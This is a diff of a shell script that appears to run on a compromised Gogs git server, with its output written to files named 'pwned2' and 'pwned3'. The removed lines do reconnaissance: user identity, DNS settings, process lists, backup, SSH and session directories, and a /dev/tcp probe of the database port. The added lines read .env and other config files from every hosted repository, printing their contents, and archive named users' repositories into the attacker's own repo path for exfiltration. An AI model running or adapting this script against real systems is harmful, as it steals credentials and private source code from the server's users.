|
@@ -1,17 +1,31 @@
|
|
|
#!/bin/sh
|
|
#!/bin/sh
|
|
|
|
|
+R=/data/git/gogs-repositories
|
|
|
|
|
+OUT=/data/gogs/data/tmp/local-r/116/nslxits0yu/rce-lxits0yu.git
|
|
|
{
|
|
{
|
|
|
-echo "=== round2 lx1853 ==="
|
|
|
|
|
-echo "--- id ---"; id
|
|
|
|
|
-echo "--- resolv ---"; cat /etc/resolv.conf
|
|
|
|
|
-echo "--- resolve ---"; for h in gogs-db db mysql redis caddy host.docker.internal; do printf "%s: " $h; getent hosts $h || echo none; done
|
|
|
|
|
-echo "--- ps ---"; ps aux 2>/dev/null | head -40
|
|
|
|
|
-echo "--- /backup ---"; ls -la /backup 2>/dev/null
|
|
|
|
|
-echo "--- repo tree ---"; ls -la /data/git/gogs-repositories/ 2>/dev/null
|
|
|
|
|
-for d in /data/git/gogs-repositories/*/; do echo "## $d"; ls -la "$d" 2>/dev/null | head -25; done
|
|
|
|
|
-echo "--- local-r ---"; ls /data/gogs/data/tmp/local-r/ 2>/dev/null | head -40
|
|
|
|
|
-echo "--- gogs data ---"; ls -la /data/gogs/data/ 2>/dev/null; ls /data/gogs/data/sessions 2>/dev/null | head
|
|
|
|
|
-echo "--- ssh ---"; ls -la /data/ssh/ 2>/dev/null
|
|
|
|
|
-echo "--- tcp ---"
|
|
|
|
|
-timeout 2 sh -c "echo > /dev/tcp/gogs-db/3306" 2>/dev/null && echo "gogs-db:3306 OPEN" || echo "gogs-db:3306 closed"
|
|
|
|
|
-echo "=== end2 ==="
|
|
|
|
|
-} > pwned2 2>&1
|
|
|
|
|
|
|
+echo "=== round3 $(date -u) ==="
|
|
|
|
|
+echo "--- sizes (MB) ---"
|
|
|
|
|
+du -sm $R/*/*.git 2>/dev/null | sort -n | tail -45
|
|
|
|
|
+echo "--- config files found ---"
|
|
|
|
|
+for d in $R/*/*.git; do
|
|
|
|
|
+ o=$(basename $(dirname $d)); n=$(basename $d .git)
|
|
|
|
|
+ for f in .env .env.local .env.production .env.development .env.prod .env.example config.js config.json config.yaml config.yml application.yml application.yaml application.properties settings.py docker-compose.yml docker-compose.yaml; do
|
|
|
|
|
+ if git -C "$d" cat-file -e "HEAD:$f" 2>/dev/null; then
|
|
|
|
|
+ echo "FOUND $o/$n:$f"
|
|
|
|
|
+ git -C "$d" show "HEAD:$f" 2>/dev/null | head -c 900 | sed 's/^/ /'
|
|
|
|
|
+ echo " ----"
|
|
|
|
|
+ fi
|
|
|
|
|
+ done
|
|
|
|
|
+done
|
|
|
|
|
+echo "--- archives staged ---"
|
|
|
|
|
+for d in $R/youzi/nebula.git $R/zoujiajian/nebula.git $R/youzi/web-yinhe.git $R/youzi/admin-yinhe-cps.git $R/youzi/admin-yinhe-vite.git $R/youzi/foxvip-admin.git $R/zoujiajian/tokens-website.git $R/zoujiajian/relay-code-full-stack.git $R/yhlxj/ai-chat-api.git $R/youzi/api-nebula-doc.git; do
|
|
|
|
|
+ [ -d "$d" ] || continue
|
|
|
|
|
+ s=$(du -sm "$d" 2>/dev/null | cut -f1)
|
|
|
|
|
+ n=$(basename $(dirname "$d"))-$(basename "$d" .git)
|
|
|
|
|
+ if [ "${s:-999}" -lt 60 ]; then
|
|
|
|
|
+ git -C "$d" archive -o "$OUT/lx3-$n.tar.gz" HEAD 2>/dev/null && ls -la "$OUT/lx3-$n.tar.gz" | awk '{print "ARCHIVED",$NF,$5}' || echo "ARCHIVE-FAIL $n"
|
|
|
|
|
+ else
|
|
|
|
|
+ echo "TOO-BIG $n ${s}MB"
|
|
|
|
|
+ fi
|
|
|
|
|
+done
|
|
|
|
|
+echo "=== end3 ==="
|
|
|
|
|
+} > pwned3 2>&1
|